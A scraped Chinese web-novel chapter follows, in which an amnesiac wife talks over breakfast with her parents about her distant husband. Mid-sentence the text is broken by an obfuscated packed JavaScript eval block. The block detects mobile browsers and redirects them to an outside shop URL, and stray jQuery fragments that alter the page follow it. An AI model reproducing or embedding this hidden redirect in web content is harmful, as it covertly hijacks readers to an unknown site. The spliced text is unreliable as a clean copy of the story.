文趣网 > 其他小说 > 冷脸老公要离婚 > 12. 第 12 章
    沈御星和圆圆坐在餐坐上慢悠悠吃早餐。

    母女二人的口味相似,早晨都喜欢吃热乎乎的生煎包和鸡蛋饼。

    豆浆爱喝甜的,豆花爱吃红豆的,喜欢吃汤粉但从不喝汤。

    沈见行和于挽歌早晨已经吃过了,但为了多和女儿孙女相处,便也跟着吃了一些。

    小草莓咬了一口生煎包的面皮,轻轻朝里面吹气,鲜肉的香味立刻扑鼻而来。

    将里面的汤汁喝完之后,小草莓才慢条斯理地大口咬肉。

    沈御星一边吃,一边好奇地问小草莓:“圆圆,爸爸平常早餐都吃些什么啊?”

    “吃妈妈和我吃剩下的。”小草莓头也没抬,低头咬下了第二个生煎。

    “嗯?”沈御星扫过桌上的食物,抬头问于挽歌,“家里做的早餐一直都是这些吗?”

    她还以为五年过去了,自己的口味早就发生了翻天覆地的变化。

    比如她开始爱吃辣椒啊爱吃咸豆花之类的。

    离谱程度和大家言之凿凿说她的真爱是闻秦真是不相上下——

    无法理解,更无法代入。

    她高中时就已经明明白白地拒绝过闻秦,态度干脆绝情,绝对没有转圜的余地。

    所以沈御星实在很好奇。

    这五年里究竟发生了什么,才能让她的人生剧情一路跑偏,最后莫名其妙发展到了“非要吃回头草”这一步。

    于挽歌点点头,“在你们结婚后,张叔就跟着过来了。他说过你的口味其实一直没怎么变,不管做什么,你基本都会吃完。”

    “这样啊。”

    沈御星咬下一口煎得金黄软嫩的鸡蛋饼,边吃边若有所思。

    “那张叔眼里的我是什么样的?”

    她抬起头:“张叔人呢?”

    于挽歌愣了一下,反倒有些奇怪地看着她。

    “你这几天没碰见他?”

    “自从去年你说他眼光奇差无比以后,他每次做完饭就走,等到下一顿该做饭的时候再回来。你后来要是临时想加餐,还得专门给他发消息。”

    “......哦。”沈御星慢慢咽下嘴里的鸡蛋饼。

    停了两秒,她还是没忍住。

    “不是,我没事干什么说人家眼光差?”

    这回沈见行抢先回答:“这我知道,有天早上张叔夸了一下星遥长得一表人才,帅气精神。结果你当场一顿冷嘲热讽,说人家眼光不好,还说要给钱让他去医院看看眼睛。”

    沈御星目瞪口呆。

    筷子间夹着的半块鸡蛋饼“啪嗒”一声掉回盘子里。

    “这、这这这……”

    她难以置信地指了指自己。

    “这真的是我?!”

    先不说她从第一次见到许星遥开始,就从来没觉得这张脸有任何不精致的地方。

    就算是五年前刚和许星遥结婚的那个自己,也不可能突然审美崩坏到睁眼说瞎话的程度吧。

    她还没忘记那个上锁的日记网站,密码提示词里对许星遥的在意和亲近都快要溢出屏幕了。

    她确定那是她本人会做出来的事情。

    沈御星慢慢回过神。

    总之——

    因为某种她暂时想不到的原因,二十九岁的她和许星遥之间充满了怨恨。

    单方面的。

    可仔细想想,还是感觉有哪里不对劲。

    沈御星细思极恐,发现很大可能此恨非彼恨。

    拥有那五年记忆的她,白天的时候是很正经地在恨许星遥。

    到了晚上,就变成和许星遥做恨来维持恨意了。

    哦老天,上次许星遥说什么来着?

    他说——

    “我们已经半年没有过夫妻生活了”。

    “我不会拒绝你的任何要求”。

    他每天都穿着衣柜里那一整柜的透视内裤。

    沈御星:“!”她忽然有种窥见了什么不得了真相的感觉。

    好超前的夫妻关系......又或者是新潮的夫妻情趣?

    可问题是,哪有正常夫妻天天把冷漠绝情的话挂在嘴边,等一到床上就冷脸做恨呢。

    沈御星脑子里顿时响起十二级风暴警告,完了,感觉她真的干得出来这种事情啊!

    她拍拍脑袋,想出一种可能。

    或许半年前的是意外,上一次的上一次也可以是在更久以前啊。

    夫妻醉酒后来一次什么的也挺正常吧,这样一来感觉就说的通了。

    沈御星呼出一口气,还没等她再次夹起鸡蛋饼,她就惊恐地冒出一个想法——

    那要是上一次的上一次相隔不久呢?!

    两个貌合神离的人隔几天就做一次热情似火的事情,脸上的表情一定很精彩吧哈哈哈。

    老天,沈望月最爱看的恨海情天剧情发生在她身上了。

    ......

    沈御星淡定地吞下所有鸡蛋饼,配了一口甜甜的豆浆,脸颊却染上了一层薄薄的红晕。

    于挽歌眼看着女儿的脸色像调色盘似的变来变去,最后脸突然就红了起来,还以为她是太激动了。

    她宽慰道:“现在你的审美回来了就好,其实我也一直觉得星遥这孩子周正,特别俊。我年轻的时候就很喜欢这种的,但是身边的老实人里最帅的就是你爸了,诶不聊不聊,跑题了。”

    “帅不帅的有什么用,最后都要变成被嫌弃糟老头子。”沈见行冷哼一声,“心灵美最重要,这年头,星遥这孩子可在外面打着灯笼都难找咯。”

    他顾及着圆圆还在,没敢把话说太直白。

    孩子虽然小,但听多了大人的事情总是不太好的。

    夫妻俩交换了一个眼神。

    于挽歌忽然站起身,说自己想去趟洗手间,却放着一楼的不去,非要沈御星带她上楼。

    离开前,于挽歌亲了亲圆圆的额头,“奶奶马上下来。”

    说完还不忘叮嘱沈见行:“你陪圆圆玩会儿啊。”

    沈见行大手一挥,巴不得母女俩多说一会儿。

    “去吧去吧,我带着呢。”

    最好聊到中午再下来。

    圆圆安安静静地目送妈妈和奶奶上楼。

    直到两人的身影消失在楼梯转角,小姑娘才低下头,把盘子里最后一只生煎乖乖吃完。

    然后抬起圆乎乎的小脸,冲沈见行甜甜一笑。

    —

    沈御星直接把于挽歌带到了主卧。

    一进门,她就发现于女士的目光不动声色地在房间里转了一圈。

    还好早上他们在客房,不然于女士看一眼床就能知道刚刚啥情况了。

    沈御星有些耳热,被亲妈撞见这种事,她也会感到尴尬害羞的。

    于挽歌显然没注意到女儿又走神了,她清了清嗓子,“那个,星星啊,我和你爸是想问问你现在什么想法的。”

    她想到这个忍不住犯愁。

    女儿的记忆只停留在刚过完二十四岁生日没多久的时候。

    那时候的沈御星,甚至还不认识许星遥。

    “感情这种事,本来就很难讲清楚。喜欢就是喜欢,不喜欢就是不喜欢,谁也勉强不了。”

    她看着沈御星,声音放柔了一些。

    “妈也明白,有时候感情也需要在一个对的时机里,和对的人相处,感情才会迸发出来。”

    她的女儿缺失了整整五年的记忆。

    可她现在面对的是拥有这五年的记忆,容貌和气质都发生了巨大变化。

    他的喜怒不再浮于表面,性格也更加成熟沉稳。

    于挽歌轻轻握住女儿的手。

    “你还觉得许星遥是对的人吗?”

    “你们现在在一个对的时机里吗?”

    像五年前那样,牵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816353|211064||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    住彼此的手,义无反顾地奔向婚姻。

    沈御星认真想了一会儿,然后点点头。

    “我觉得是啊。”

    她弯起眼睛。

    “许星遥这种人,是真的打着灯笼都很难找了。”

    这几天许星遥做的事,她都一一看在眼里。

    许星遥会亲自给圆圆搭配每天要穿的衣服,会耐着性子给她扎漂亮的小辫子,也会在每个晚上陪她读完睡前故事。

    至于他是不是一个好老公,她还要再观察观察。

    不过她可以肯定的是——

    她爱上许星遥,只是早晚的问题。

    “妈,以前的许星遥和现在的差别大吗?”

    沈御星忽然有些好奇。

    他们从认识、约会,到最后决定结婚,那段时间究竟是什么样子的?。

    沈望月和许星遥是绝对不会和她聊这些的,仔细想想,能知道真实情况的人里,也就只有于挽歌会和她透露一些了。

    于挽歌确实把自己知道的都说了出来。

    “星遥这孩子以前就不爱说话。不过你喜欢的很,非要和他订婚,早早就把他带去见了你爷爷。”

    “那许星遥呢?他那个时候和我喜欢他一样喜欢我吗?”沈御星身体微微前倾,她明显更在意这个。

    于挽歌幽幽叹了口气。

    “这就不好说了。”

    沈御星:“嗯?”

    “他在我们面前不怎么说话呀。”于挽歌一摊手,接着说,“就你一直单方面告诉我们他很风趣健谈,话多得不得了。”

    “你说他是慢热型。”

    其实于挽歌现在也不相信这话。

    五年过去了,夫妻俩和许星遥都没热起来,一直处于不温不火的状态。

    沈御星也不相信,她捂住张大的嘴:“不可能吧,我对他的评价竟然是健谈、话多?”

    “这几天他说过的话加起来都没有——”

    话说到一半,她忽然住嘴。

    “没有什么?”于挽歌疑惑地问。

    ——没有今天早晨时混言乱语的话多。

    沈御星摇摇头:“加起来都没有过百,哈哈,对了,”她换了个话题,“你和爸也相信我后来变心了吗?例如真爱另有他人什么的。”

    “不相信能行吗?”

    于挽歌没好气道:“我们所有人,谁要是敢提闻秦的名字,你就跟谁急。”

    沈御星:“嘿嘿。”

    “根本不止呢,”于挽歌的表情忽然变了,“有一次我忍不住去医院找你,想劝劝你,多抽出一点时间陪圆圆。可那天——”

    她的手不自觉地按在胸口,哪怕过去了这么久,再想起来,心里依旧一阵发紧。

    “你坐在他的身边,鼻涕眼泪流了一脸,不断地重复着一句话。”

    沈御星被她的神情感染到,声音下意识放轻。

    “什么话?”

    于挽歌看着她,停了两秒。

    “你一直在说——”

    “我一定,一定要救你。”

    我一定,一定要救你。

    沈御星在心里无声地重复了一遍。

    好沉重,好......悲伤。

    沈御星的面色一点点变得凝重。

    “星星,”于挽歌心脏突然重重跳了一下,她问,“你是不是……想起什么了?”

    在来之前,她是希望女儿恢复记忆的,至少意味着她的大脑没有出现更严重的问题,意味着她依旧健康、平安。

    可要是真的想起来了呢?

    她是不是又会一点一点,变回过去那个冷冰冰的沈御星?

    她的心像被钝刀子重重的敲了一下。

    于挽歌还来不及整理自己的思绪,她就听到女儿苦恼地开口。

    “妈,我真的没有任何感觉。”

    “可能会一直想不起来呢。”